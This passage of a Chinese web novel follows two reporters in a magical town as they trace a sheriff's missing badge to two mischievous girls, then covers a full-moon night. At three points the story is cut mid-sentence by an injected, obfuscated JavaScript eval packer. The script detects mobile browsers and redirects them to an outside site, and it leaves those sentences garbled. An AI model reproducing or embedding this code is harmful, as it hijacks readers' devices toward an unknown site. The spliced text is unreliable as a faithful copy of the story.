“警长你好,”佩妮·卡弗恩那总是小心翼翼的声音传进她的耳朵,“我们是古怪多日报的。” 她旁边还站着个新面孔,正一会儿瞥向浴桶里的查莉,一会儿又盯着菲比的耳朵看得出神。 “警长您好,”新面孔察觉到了她的注意,“我是新来的凯西·米勒。” “我不在乎你们都是谁,”菲比阴沉地说,“重要的是,你们这帮媒体人来这里是想做什么。” “其实我们是得到了一些小道消息,”佩妮的声音变得更小了,“关于您的……”她看了一眼菲比的胸前,显然是在考虑措辞。 凯西立刻接道:“关于警局在防盗系统方面出的一些,呃,小问题。” “这不关你们的事,”菲比飞快地说道,“警局内部会处理的。” “可是,菲比,”查莉慢悠悠地说,“警局内部未必能处理得好。我们缺人手,叽叽主要担任的还是巡逻的工作,不可能真的把精力都投入到找东西上。我觉得报社的人在这方面比较有经验,让她们来办也不无不可。” 菲比瞪了查莉一眼:“你以为我们为什么会缺人?还不是因为你这么懒散!” “我很抱歉。”查莉说着,脸上的表情没有任何变化。 菲比用力揉了揉自己的眉心。 “好吧,”她妥协地说,朝着两名记者,“恐怕我们确实需要你们的帮助。请原谅我刚才的无礼,我想是月圆之夜越来越近,导致我的脾气有点失控。” “没事的没事的。”佩妮飞快地摇着头。 “那么,”凯西趁这个时候问道,“您最后一次看到警徽是什么时候?” “昨天中午的时候,”警长回忆道,“我打算在办公室打个盹。所以我把外套脱下来——连带着上面别着的警徽一起——搭在了椅背上。等我醒过来的时候,警徽就不见了。” “昨天中午,办公室……”佩妮从她背心的其中一个口袋里掏出一个笔记本和一支笔,在上面写道。 “您当时睡了大概多久?从什么时候开始睡的?” “大概是十二点半到一点,也就是半小时左右。” 佩妮把时间点记下来。 凯西继续问道:“虽然您当时显然是睡着了,但我还是要问一句,您当时有没有听到、看到,或是感觉到有什么不寻常的动静?” “我当时……很可能听到了一阵翅膀拍打的声音,我想,毕竟我当时没那么清醒。” “翅膀拍打的声音?” “是的,这也是为什么我会怀疑卡翠娜。虽然我并不确定是她做的,但她确实有很大嫌疑。” 佩妮在笔记本里写下:翅膀拍打声,卡翠娜?莉娜? 她想了想,把莉娜的名字划掉,又想了想,然后再加了回去。又仔细斟酌着,把预言鸡的名字也写了上去。 “很好,谢谢你,警长。”凯西转而看向查莉,“查莉警官,请问您昨天中午在哪里?” “在警局。” “您当时在做什么?” “我在陪星辰做游戏。她从幼儿园溜了出来,我把她带到警局,打算对她进行一些安全和秩序方面的教育。我们玩得很开心,后来我就睡着了。醒过来的时候叽叽告诉我星辰已经回去上学了,菲比的警徽也丢了。” 她(以一种对她来说已经算难得的方式)努力思考了一会儿:“我想我没听到什么不寻常的声音,可能是我睡觉睡得比菲比要沉吧。很抱歉没办法给你们更多信息。” “没什么,”凯西说,“还是要感谢你们的配合。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427676|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“也感谢你们。”查莉说完,浑身冒热汽地从浴桶里出来,给她们一人递了几粒糖果。 佩妮随手把糖果放到她的背心口袋里,在笔记本上写下星辰的名字。 “所以我们现在有四个要关注的对象,卡翠娜,莉娜,预言鸡,和星辰?”出了警局后,凯西一边走一边跟佩妮确认。 “没错。”佩妮点点头,“星辰是可能的目击证人,另外三个则是嫌疑人。” “我对这里还不熟。你知道我们现在先去找谁最方便吗?” “卡翠娜和莉娜会在哪里很难预测,预言鸡也行踪不定,但最可能出现在星语者的天文台或是玛吉的小麦农场,不过这两个地方位置都有点偏。我们最好是去幼儿园找星辰,她昨天刚受过教育,总不可能今天还逃课。” 凯西在看到星辰的那一刻明白了什么叫人如其名。 星辰正在一个沙坑里跟另一个孩子堆沙堡,她整个人都在发光。不是由于太阳照射的缘故,因为现在是阴天。她自发地向四周放射光芒,身体周围似乎还在飘散一些细小的粒子,同样发着纯净的光。 佩妮上去跟她打招呼:“星辰,星辰?” 星辰显然正专注于她的建筑事业,十分不耐烦地回过头来:“哎你别吵……咦,是佩妮姐姐,和……不认识,是谁?”她瞪大了眼睛,好奇又警惕地看着凯西。 “我是凯西·米勒,报社的新成员,正在熟悉这里的环境和居民。”凯西伸出手,“很高兴认识你,星辰。” 星辰显然对这种郑重其事的自我介绍方式很受用,她摆出小大人的架势,伸出发亮的小手,跟凯西的握了握(留下一个发光的小掌印):“很高兴认识你,凯西。” 她们在沙坑边的长椅上坐下,凯西想起来之前查莉给的糖果,就给了星辰一颗。 “你昨天是不是去过警局?”她问。 星辰的第一反应是笑了两声,双手扣在一起扭来扭去的,然后才回答:“去,去过。” “当时是查莉警官陪你的?” 星辰的眼睛一下子亮了起来:“对,查莉警官。她给我糖吃,还陪我做游戏。我,我听她的话,我就回来上学了。” “那你当时有没有注意到警局有什么不一样的地方,比方说,多了什么东西,或者少了什么东西?” “嗯……”星辰皱起脸,眼睛鼻子嘴巴都挤在了一起。 “再比方说,有没有什么人经过那里,或者说,有什么声音听起来不一样,像是有人经过了?” “有人,”这次星辰回答得比较顺畅,“卡翠娜姐姐还有莉娜姐姐。她们在屋顶上,卡翠娜姐姐很高兴,莉娜姐姐有点生气。我想喊她们,结果她们看到我就飞走了。然后我就回来上学了。” 旁边的佩妮在笔记本的“卡翠娜”和“莉娜”两个名字上重重地画了圈。 “非常感谢你对我们的调查的积极配合,”凯西说,“我们会在报纸上提到你,就说有一个古怪多幼儿园的学生对我们的调查做出了有力贡献。” 星辰用力咬住嘴唇,但她的笑声从鼻腔逃了出来。她显然有点尴尬,咧着嘴傻傻地笑了一会儿。 她用难掩得意和期待的语气说道:“那,那你们会在上面登我的名字吗?” “出于对证人的保护,我们不会这么做,”凯西严肃地说,“但这不代表我们会忘记你的突出贡献,也不代表你的优良美德不存在了。” 星辰的神情有点茫然,显然并没有完全听明白,但她被凯西的口气唬住了:“嗯,嗯,是的!” “再次感谢你的配合,”凯西又跟她握了握手,“现在,我跟佩妮要继续我们的调查了。再见!” “再见!”被哄得心花怒放的星辰朝她们使劲挥着手。 5. 初来乍到(5) 对星辰的采访结束之后,佩妮和凯西都认为,警徽的失踪多半跟卡翠娜和莉娜脱不开关系。她们很有可能是偷完警徽之后被星辰撞见,所以才那么快飞走。 现在的当务之急是找到她们人在哪里。 而当凯西和佩妮出于这个目的开始调查时,她们发现小镇随处可见卡翠娜和莉娜留下的痕迹。 “你说那两个捣蛋鬼呀,她们俩刚才来过。”玛吉说道,“也是奇怪,今天两个人都特别老实。也没偷饼干,也没吓唬客人,啥坏事也没干。就是也没买东西,瞪着眼睛把店里上下都看了一遍,怪吓人的。”她说着,好像真有点被吓到了似的,浑身打了个哆嗦。 波比的说法跟玛吉的类似,只是因为性格的不同,措辞显得干巴巴:“来过。没做坏事。只是看。” 此外凯西怀疑波比还在对她之前问馅饼配料的事情怀恨在心,所以一直用比火还要烫人的眼神看着她。 “感谢你的配合!”她假装没感觉到对方的怨气,“我们先走了!” 等到她跟佩妮又多去了几个卡翠娜和莉娜去过的地方之后,就算是傻子也能咂摸出不对劲了。 “她们……”凯西有点喘,发现古怪多还是有点面积的,“在,找东西?” 佩妮点点头:“我也有这种感觉。” “——她们找的东西,不会就是警徽吧?” 就在凯西和佩妮追踪卡翠娜和莉娜留下的轨迹的同时,这两位当事人,或者说由这两个人组成的犯罪团伙,正进行着激烈的内讧。 “这都是你的错,”卡翠娜拍打着翅膀,用她沙哑的声音大喊,“都是你怂恿我去偷警徽。如果你不怂恿我,我就不会去偷警徽。如果我不去偷警徽,我就不会偷到。如果我不偷到警徽,我就不会被屋里走出来的小孩吓跑。如果我不被屋里走出来的小孩吓跑,我就不会不知道警徽被丢到哪里去了!” “你居然怪我?”莉娜比她还要生气,“这明明都是你的错!都是因为你太容易被激将了。如果你不是那么容易被激将,就不会被我怂恿几句就真的去偷警长的警徽,你说的那些事情也都不会发生,我也不用跟着你在镇上到处找被你偷走、被你弄丢的东西!” “就算东西是我偷的,我弄丢的,你也是教唆犯,脱不了干系的!” “就算我是教唆犯,东西也是你自己偷的,你自己弄丢的,你才是最大责任人!” 她们就这样颠过来倒过去地吵着,吵到两个人喉咙都有点冒烟。 “好了,”莉娜终于说,“事到如今吵架也不是办法。今早的时候,报社的人已经知道警徽被丢的事情了,不是警局的人,就是她们会找到我们。现在的当务之急是把警徽找回来。” 卡翠娜点点头:“是时候面对现实了。” 她们同时看向那个之前被她们可以忽略,却实实在在存在于那里的东西:一个下水道入口。 莉娜深吸一口气:“整个小镇,除了……就只剩下这里没找过了。” 卡翠娜接道:“想找到警徽,只能在这里试试运气了。” 她们脸上都露出英勇赴死的表情,准备进入那个阴暗潮湿的洞口。 正当这时,有东西从那个洞口出来了。 “叽叽看到了可能偷走警长警徽的嫌疑人,”穿着警服的老鼠说道,“叽叽想请她们跟自己走一趟。” 菲比警长坐在她的办公桌前,爪尖一下一下地敲着桌面。 卡翠娜和莉娜垂头丧气地站在她身旁的空地上。 更远一点的地方站着凯西和佩妮,吱吱通知了她们卡翠娜和莉娜被找到的消息,而她们发挥出身为记者所理应具备的飞毛腿,甚至比叽叽和她的两名嫌疑人更早到达警局。 菲比看着她的养女,和她的养女的好友兼共犯,有点不知道该怎么压住叹气的冲动。 “所以,你——”她指了下卡翠娜,“跟她打赌,说你能趁我午睡的时候把我的警徽偷走。结果偷到之后,把它给弄丢了。” “是的。”卡翠娜的声音小到听不清。 “而你,”菲比又指了下莉娜,“跟我的女儿打赌,怂恿她做出盗窃行为。” “……是的。”莉娜像是废了好大力气才把声音从喉咙里挤出来。 菲比的脸色阴沉得可怕:“我没想到你们居然会这么愚蠢。” “对不起,妈,妈妈。”卡翠娜小心翼翼地看着她,“我们知道错了。” 莉娜也跟着一个劲认错:“是的,我们真的非常抱歉。” “你们当然错了,”菲比的语气有种微妙的变化,“但我说的是你们愚蠢。” 这下两个孩子都瞪大了眼睛看着她。 菲比说:“之所以说你们愚蠢,是因为你们发现地面找不到警徽之后,第一反应居然是去爬下水道。实际上,我如果是你们,绝对会先去另一个地方。” “我们现在这是去哪?”跟在菲比警长后面走了一段路之后,凯西小声地问道。 佩妮同样小声地回答:“在找贝拉·斯卡普女士的垃圾车。她每天都会把小镇从头到尾扫上好几遍,警徽很有可能就被她给收走了。这确实是个很好的思路,我怀疑莉娜她们是故意忽略了。” “那岂不是要在垃圾堆里翻很久?” “不一定。贝拉会从垃圾里挑出她觉得还有用或者她喜欢的东西。警徽很有可能就在其中,因为它上面附有魔法,还亮晶晶的。” 贝拉·斯卡普看起来就像从孩子们黑漆漆的噩梦里走出来的:宽大的黑色长袍,同样是黑色的尖顶帽子,帽尖塌了下来,又长又弯的鹰钩鼻,下巴上还有一颗巨大的疣。她的眼睛闪着疯狂、狡猾的光。 她朝菲比警长咧嘴一笑,露出一口歪歪扭扭的牙齿:“警长女士,我可是好好地在维护我们小镇的清洁和卫生,您好端端地来找我是为什么?” “我来找一件很可能被您当成垃圾收起来的失物。”菲比警长说道,“我的警徽。” 贝拉的脸上浮起一丝兴致:“您的警徽?这可是件稀罕事,您怎么会把自己执法的象征给弄丢了呢?” 菲比隐晦地扫了一眼站在一旁宛如罚站的卡翠娜和莉娜:“这里涉及到了……一些孩子们的恶作剧。” 贝拉恍然大悟,跟看什么稀奇东西似的盯着两个孩子使劲瞧,直到莉娜和卡翠娜都露出某种不堪忍受的表情,她才把视线移开。 “我确实在整理昨天的垃圾时发现一件……过分闪亮的东西,”她坦诚地说道,“不过既然它是因为小孩闯祸才弄丢的,我可不能这么轻易地就还回去。毕竟,要让孩子们尝到一点教训嘛。” 菲比警长抬抬眉毛:“您打算让她们尝到什么教训?” “没什么特别的,”贝拉的语气近乎于欢快了,“就是让她们刷瓶子而已。您知道的,我收集了很多完整的、还能用的瓶子。它们的量太大了,无论是手洗还是用魔法,都挺累人的,尤其对我这样一个体力和魔力都衰败了的老巫婆。我把警徽还给您,您呢,就让她们留在我这里刷瓶子。毕竟为了惩罚她们,您本来也是要安排一些社区劳动给她们的,不是吗?” “你说得对,”菲比警长赞许地点头,无视了旁边卡翠娜和莉娜绝望的凝视,“就这么办吧。” “妈妈!”卡翠娜整只鸟飞到她的肩头,“求求你,我发誓一整年都不给你惹事,求你别把我留给老巫……留给斯卡普女士!” 莉娜的反应没那么外放,但她同样用恳求的眼神看着菲比警长。 “我不会让犯错的人决定自己受罚的方式,”菲比警长冷酷地说,“你们打那个愚蠢的赌的时候就该想到,不会有什么让你们喜欢的事情发生。” 以两个青少年绝望的哀嚎为背景,她接过贝拉递过来的警徽——可能是老巫婆对它做了什么特殊的清洁手法,看上去比弄丢的时候更为闪亮——跟贝拉握手:“我把她们交给你了。” “您就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427677|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心吧,”贝拉意味深长地说,“我保证让她们对这段经历终身难忘。” 查莉警官有些担忧地看着两个孩子,但菲比警长已经在呼唤她,于是她给她们塞了点糖果就离开了,并且显然一转身就忘了还有这么回事。 凯西和佩妮则还留在这里,饶有兴致地看着两个孩子哭天喊地地跟在贝拉的垃圾场后面,朝着小镇回收站的方向飞去。 “她们看起来很怕斯卡普女士。”凯西说,带点好奇的口气。 佩妮点点头:“斯卡普女士是镇上大部分人的童年阴影——另一部分人则年纪比她还要大——她们都是听着‘做坏事就要被送到斯卡普那里当苦力’的故事长大的。说起来,菲比警长当年也在她手下干过活呢。” 这倒是让凯西万万没有想到:“有这么一回事?你又是怎么知道的。” “从报社的旧报纸堆里翻出来的,”佩妮抿着嘴,露出一丝笑意,“标题是《狼人儿童月圆之夜破坏公共建筑,被罚参加社区劳动四十小时》,配图就是小时候的菲比警长,灰溜溜地站在斯卡普的垃圾车旁边。” 凯西若有所思:“报社的旧报纸里还有这种有意思的东西,不知道能不能翻出来阿加莎或是主编的黑历史……” “恐怕不能,”佩妮遗憾地说,“阿加莎女士出生得比我们报社创办要早得多,有报纸的时候她早就是个严肃的成年人了。罗茜主编倒是出生得比报社晚,但她似乎从小就是模范儿童,我只能在旧报纸上找到她从幼儿园开始创办校报的新闻。” “这样啊……”凯西说着,突然感觉有些不对,“你还真的费心思找过她们的黑历史?” 这可不符合她对佩妮温和无害的印象。 佩妮顾左右而言他:“这个嘛……我们该跟上去多拍几张照片,读者肯定很愿意看到镇上知名的两个捣蛋鬼吃瘪的画面。我知道一条近路!” “我知道你在故意扯开话题。”凯西嘟囔着,跟了上去。 ——然后她就看着佩妮从一个背心口袋里拿出一根撬棍,撬开了路旁一个写着“雨”字的井盖。她顺着井壁的铁爬梯往下爬了一段,抬头看着凯西。 “你怎么了?”佩妮问。 “呃,”凯西说,“你的背心口袋,容量很大。” 这话似乎很得佩妮的心,她腾出一只手——凯西胆战心惊地看着爬满锈迹的铁爬梯和她下方的黑洞——扯着自己的背心说:“我请奇巧魔法道具店的店员帮我动了一点小手脚,它能装的东西可不止一根撬棍。你有空也该去弄一个,很方便的!” 凯西点点头:“我会去的。” 但她还是踌躇不前,呃,或者说,踌躇不下? 佩妮开始催促她:“快点,动作慢了可能会错过什么有意思的事情。”她观察着凯西的表情,“你是害怕了吗?不用怕,这里是雨水管,不脏的。我赶时间的时候经常爬。” “好吧。”凯西说着,妥协了。 她们在黑暗的地下管道里向前走,唯一的光源是佩妮戴着的头灯:这当然也是她从背心口袋里拿出来的。 凯西想,她确实该去佩妮说的那个魔法道具店改装一下她的衣服口袋,这样她就能无时无刻不把她的汽车带在身上。 小镇面积不大,加上很多地方道路狭窄又有人群聚集,用腿走反而比开车要方便。以及阿加莎的活屋附近并没有一个空出来的车位可以让凯西把车停下,所以是的,她选择了把车留在公园一带。这似乎是个合理的选择,但当她们真的要赶时间,而因为回收站位置比较偏远,用汽车开过去显然十分方便的时候,她却只能跟着佩妮一起下到这个看又看不清,闻也不好闻的地方。因为显而易见的,不可能有时间让她跑去公园把车开过来。 此刻凯西走在湿软厚重的淤泥上,闻着雨水的腥气与有机物腐烂的臭味的混合气息,听着持续不断的水滴声和某种未知动物爬过的声音,对自己之前欠考虑的行为只能感到无尽的悔恨。 6. 初来乍到(6) 佩妮对古怪多小镇地下的道路跟她对小镇地表的道路一样熟悉,她驾轻就熟地找到了通往另一个窨井盖的铁爬梯。佩妮率先上去,然后从她的背心口袋里掏出一个打气筒模样的东西。 “液压井盖顶升器。”她简短地介绍,“你也可以备一个在身上,在古怪多当记者,总会有很多不得不走地道的情况。” 凯西呆滞地点点头。 佩妮熟练地用顶升器顶松井盖,然后把已经松动的井盖彻底推开。凯西跟着她爬了上去。 乍一回到明亮的天光下,眼睛都被刺得发疼。凯西抬手挡在眼睛上方适应了一会儿,发现自己正面对着古怪多的垃圾回收站。 尽管立着个垃圾回收站的牌子,这里看上去并没有潜意识里总会跟这种地方联系在一起的肮脏恶臭。凯西所闻到的是泥土本身的气息,掺杂着微酸的发酵味,以及某种发霉的味道,所汇聚起来的奇异的气味。算不上好闻,但并不让人反胃。 整个回收站最令人瞩目的是几个半人高的堆肥堆,被安放在一个专门推平的空地上。它们是深到近乎于黑色的棕色,释放着湿润的热气。那种微酸的发酵味就是从这里散发出来的。 堆肥堆的旁边是一个小菜地,里面种着一些方便照顾的南瓜、黄瓜,胡萝卜之类的蔬菜作物,长势都很好,因为过于狂野凌乱的生长方式散发出一股若有若无的魔性气息。 再旁边是紧挨在一起的一座小屋(看起来随时会长出脚来自己行走)和与之相连的一个小棚屋。小棚屋看起来像一个干净清洁、管理得当的二手小商铺,各种完整或不完整、但都十分闪亮的玻璃器皿,因为破损而失去使用价值、但却可以作为摆件的陶器,各种图案漂亮的包装纸和包装袋,都被整整齐齐地收集起来。 菜地和棚屋之间夹着一个装着水龙头的砖砌水池,旁边堆着许多有待清洗的瓶瓶罐罐。贝拉正带着莉娜和卡翠娜走到那里。 “喏,这里的瓶子,”她招呼着,“把它们的标签都撕下来,然后刷干净。” 她给莉娜和卡翠娜一人扔了一个刷子,卡翠娜的那个甚至特地挑了个比较小的,好让她的鸟爪能抓得住。 “刷完才能休息,别让我看到你们偷懒,否则……”她的右手飞快地上下翻动,做了个难以看清的收拾,一朵小小的乌云飘浮在了莉娜和卡翠娜的头顶。 贝拉继续说道:“……否则你们会体验到晴天霹雳是什么感觉。好了,开始刷吧。” 卡翠娜抬头看着那朵乌云:“……嘎?” 贝拉动了动手指,一股细小的电流劈了下来,击中她的头顶。 卡翠娜大叫起来,虽然实际上雷声大雨点小,连根羽毛都没见被烧焦,但这个榜样还是很明显地对莉娜产生了影响,她立刻拧开水池的水龙头,使劲刷起瓶子来。而卡翠娜恢复过来之后(尽管她故意表现得十分戏剧化,像是要被雷击而死了),也开始用爪子抓起那把小刷子开始干活。 贝拉满意地点点头:“很好,就是这样。好好干,你们两个都是。” 她转身朝停垃圾车的方向走去,显然今天的收垃圾工作还没有完成,她还要继续去镇上转圈。 留下两个孩子在那里哭天喊地地刷玻璃瓶,每当有谁稍微有所懈怠,那朵乌云就会降下字面意义上的倾盆大雨,冲得她们头都抬不起来。如果还不加快动作,雷电就会落在她们头上,虽然不会造成实际伤害,但看她们反应,应该还是会痛的。 凯西在这整个过程中拍了大量的照片,其中一张她格外满意:莉娜跟卡翠娜垂头丧气地站在水池旁,贝拉向她们示意开始干活,脸上的笑容完全可以放到童话书里作为恶毒女巫的插图。甚至不需要卡通化处理,她长得就已经够卡通的了。 她不太喜欢那些抓拍到孩子们被雷击时的反应的照片,尽管她知道那雷电并不真的有害。 佩妮凑过来看她拍的照片,她们的审美显然比较一致:“我喜欢这张,很有喜剧效果,而且……” 她停顿了一下,或者说,她没忍住笑了一下:“它的构图跟菲比警长童年时期的那张非常相似。真有意思,尤其想到她们是母女。” “或许我们可以以《三十年一轮回,母女间的另类传承》为标题写一篇新闻稿。”凯西半开玩笑地说道。 佩妮十分认可地点头:“主编会喜欢这个标题的。” 凯西:“……” 凯西:“她会登吗?” “当然,为什么不呢?”佩妮理所当然地说,“这很有意思,读者会喜欢的。我想主编会把它放头条,然后把菲比警长当年的照片跟这张并排放在一起,凸显它们的相似性。” “呃,”凯西眨眨眼,“挺好的。我们要上去采访一下她们吗?” “我觉得还是不要了,她们现在的状态可不适合被打扰。今天收集的材料也足够我们把稿子写出来了。” “那我们现在回去?” “回去。” 罗茜饶有兴致地听完两人的调查汇报:“我就知道这事跟那两个捣蛋鬼有关系,你们还拍了照片?给我看看。” 她一张一张翻过相机里的照片,最后停在得到凯西和佩妮一致认可的那张上:“这张不错,很有节目效果。” “其实,主编,”佩妮举起手,小声说道,“我之前在报社的旧报纸里找到一则关于菲比警长的新闻,也是闯祸之后被派到斯卡普女士那里进行社区劳动的。那次新闻的配图,跟这张照片非常像。” 她把之前跟凯西一时兴起提出来的想法都讲给罗茜,后者显然对此非常感兴趣。 “很好的主意,不妨就这么干吧。佩妮,你对旧新闻的掌握程度真是大大超出我的意料,照片对比的点子也很有意思。凯西,第一天上班,你适应得比我想的要好,古怪多对外来者可是个不小的挑战。那个标题创意也不错。你们两个把稿子写出来,下班之前交给我。好了,你们可以走了。” “主编对我们的点子很认可!”回工位的路上,佩妮高兴地说。 “我觉得这基本可以算你的点子,”凯西说,她真是这么觉得的,“我不过是随便想了个标题。菲比警长的旧新闻是你想起来的,新旧照片对比的想法也是你提出来的。” 佩妮说:“但是照片是你拍的,我不擅长拍照,而你拍得很好。” “这我倒是没法否认。”凯西自己也很喜欢那张照片。 “所以这是我们两个一起的功劳,合作愉快,搭档!” 凯西不知道她们怎么就这么快成为搭档了,但佩妮看上去很开心的样子,她也觉得不应该扫兴。 她伸手跟佩妮碰了碰拳:“当然,合作愉快。” 那则新闻还真就以《三十年一轮回,母女间的另类传承》的标题在日报上发表了,配图菲比和卡翠娜一狼人一乌鸦如出一辙的垂头丧气模样放在一起妙趣横生。凯西本来还担心这种新闻是否会让临近月圆的菲比生气,但据传闻,她看到报纸之后的第一反应是仰天大笑。看来这位警长的心态比她想象的要开放得多,结合她当时对莉娜和卡翠娜说的“我说的是你们愚蠢”,她也显然有一定的幽默感。 除此之外,凯西抽空去了一趟佩妮提过的奇巧魔法道具店,那里还真就提供把口袋容量扩大到足以容纳一辆汽车的服务(难怪小镇上停车位那么少)。凯西把她常穿的一件外套送过去进行了改装,之后她的汽车就几乎再没离过身。 就这样一来二去地,月圆之夜终于要到了。 那天早上一起床,凯西就察觉出了不对劲。 明明她已经按时起床了,也没乱放东西,但活屋还是一副她犯了什么大错的样子,调水龙头水温时冷热变化异常突兀,恨不得让她用细准焦螺旋来调。毛巾一转身就不知道飞到哪里去了。出房门的时候还被绊了一跤。 “它怎么了?”下楼以后凯西问阿加莎。 阿加莎若无其事地说:“今晚就是月圆之夜了,活屋确实会比平时更活跃一些。明天就好了。” “好吧。”凯西耸耸肩。 佩妮从地下室上来的时候额头上有个红印子,她说是起床的时候莫名其妙磕了一下。 “可能因为今天月圆吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427678|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”她揉着额头说。 走在小镇的街道上,一切都散发着诡异的气息。凯西无法具体地描述那种感觉,但空气似乎比平时紧绷,也比平时兴奋。玛吉卖的蜂蜜燕麦卷(它确实很好吃,凯西尝试过一次之后就开始跟佩妮一样天天吃了)味道跟平时相比有微妙的不同,很怪,不难吃,但很怪。 炙烤馅饼店的门被锁上了,挂着“今天休假的告示牌”。佩妮说波比的体制对空气中的魔法元素十分敏感,所以每逢月圆之夜,为了防止自己失控,她都会选择休假。 “说起来,”佩妮说,“菲比警长今天也会休假。毕竟她是狼人,没人能比她受月亮影响更大了。查莉警官会代替她的工作。” “查莉警官?”凯西想起那个似乎总是一副懒散模样的水豚精,很难想象她会用什么办法维持小镇的秩序。 进入报社时,罗茜主编正站在咖啡机前。 “你们来了。”她的声音一如既往的中气十足,但不知道是否是心理原因,凯西总感觉她说话时跟平时不太一样。但这多半是错觉,毕竟罗茜跟她一样,都是人类…… 咦? 凯西忽然意识到,其实她从来也没认真思考过罗茜属于什么物种。在古怪多,因为一个人看上去长得像个人类就理所应当地觉得她是个人类,这种想法是非常无端的。凯西在得知阿加莎身上有巫师血统,而佩妮其实是个地穴王国人之后得出了这一经验。 罗茜显然并没意识到凯西正对她的物种产生了怀疑,她正在例行公事地给两个下属派活:“今天月圆,鲁特的温室每到这个时候都会很活跃。你们过去跟她聊聊,拍几张照片,看看下一期园艺专栏要写什么内容。” 鲁特的温室像个小型的热带雨林,稠密的绿色,湿润的空气,尤其在今天这个特殊的日子,那种强烈的生命力几乎让植物拥有了一种妖异的魔性,盯着看久了甚至会觉得它们周围的空间在轻微地扭曲。 鲁特领着她们在各种被月亮所唤醒的植物间穿行,不时出声介绍。 当她们来到一株花朵形状宛如张开的大嘴,内里是一圈圈一层层尖利牙齿的植物前时,一个小巧的身影从花朵后面飞出来。 她绿色的柔发,薄如蝉翼的翅膀,花瓣般质感的衣服,和童话书插图里的小花仙形象完美吻合。她抬起头,称得上大胆地打量着两个外来者。 鲁特笑起来:“月圆之夜来了,连谭西都不像平时那么怕人了。” “谭西?”凯西的耳朵捕捉到这个名字,“你就是谭西吗?莉娜告诉我,那天躲在向日葵后面给我指路的人是你,你记得这件事吗?” 谭西睁大眼睛,歪头思考了一会儿,点点头。她还伸出细小的食指朝地下一指,一株翠绿的植株从地面冒了出来——比那天的要健壮得多,看来月圆之夜也使她的力量变强了。 凯西立刻向她道谢:“谢谢你,谭西。如果不是你,我不知什么时候能找到报社,也未必能得到这份工作了。” 谭西脸上露出有点受宠若惊、又有点洋洋自得的笑,她摆摆手,像在说没什么,结果她飘飘摇摇地撞上身后的一朵花的茎部,大量花粉落在她身上。她打了个喷嚏(声音非常小的一个喷嚏),随后昏昏沉沉地飞了一会儿,落到鲁特的肩头,睡着了。 鲁特笑着放轻了声音:“那是甜梦草开的花,花粉可以用来安神,今天月圆,效果变得更好了。” 凯西点点头,忍不住给睡在树精肩头的小花仙拍了一张照片。 之后的采访十分顺利,鲁特详细讲解了几种受月光影响大的植物在月圆之夜都会有什么变化,这些植物的种植和采摘方法。她还采摘了一些送给凯西和佩妮,“可以用来泡茶喝”。凯西拍了不少好照片,十分愉快地结束了整个采访。亏她还一直提防着那朵长了嘴巴和牙齿的花会不会在月光的作用下忽然发狂,咬下她的脑袋。 鲁特送她们直到温室门口,之后说要送谭西回去睡觉,就不送得更远了。而凯西和佩妮出门后没走几步路,就双双停了下来。 “哇哦,”凯西忍不住说道,“漂亮。” 7. 初来乍到(7) 在路的对面,在月光照耀下,从“月之印记”画廊紧闭的、挂着“今日休假”告示牌的店门下流出多种色彩的颜料汇聚成的河流。它在月光照耀下泛起粼粼的波光,缤纷艳丽的色彩因此增添了一种油画的质感,一种疏离的魔性。 凯西拍了一张照片,效果好得出奇,色彩、构图都无可挑剔,看上去很适合在一场超现实主义画展中展出,寓意是批判艺术体系的僵化与死板,赞美创作本身所无法束缚的野性与生命力。 佩妮在她的笔记本上记下:月圆,画廊,颜料,污染街道。 鼠人警官叽叽正好巡逻路过这里,看到这一幕后钻进地下管道不见了。没一会儿功夫,查莉警官就开着警车过来了。 “佩妮,凯西,晚上好。”她走下警车,语气温和地打招呼,看起来月光的魔力对她并没有什么影响。她身上还冒着刚刚泡完澡(或者说,泡澡泡到一半就不得不离开)的热气。 “晚上好,查莉警官。” 查莉慢悠悠地走到那条颜料之河的旁边,伸出爪子沾了一点仔细观察,自言自语地说:“没错,就是颜料。” 她又把耳朵靠到店门上仔细倾听:“露娜今天……嗯,不太冷静。” 露娜·穆恩,“月之印记”画廊的所有者,古怪多小镇除菲比警官以外的另一个狼人。 凯西和佩妮也凑过去听画廊里传来的声音,听上去像是有人在里面焦躁地来回踱步,时不时发出长长的叹息声,伴随着注满怒气的跺脚声,然后……这是画笔用力摩擦画布的声音吗?这是画布被扯碎的声音吗?这是颜料被泼散的声音吗? 颜料之河以肉眼可见的速度在扩张。 画廊里的声音变得越来越狂野。 “查莉警官,”凯西终于忍不住要问话,“这种情况……该怎么做?是放着让她这样一个人在里面呆着,还是强行闯入?……要叫斯卡普女士过来做清洁工作吗?”问完她又陷入怀疑,这位从来都懒散随和的警官会怎么处理这件事? 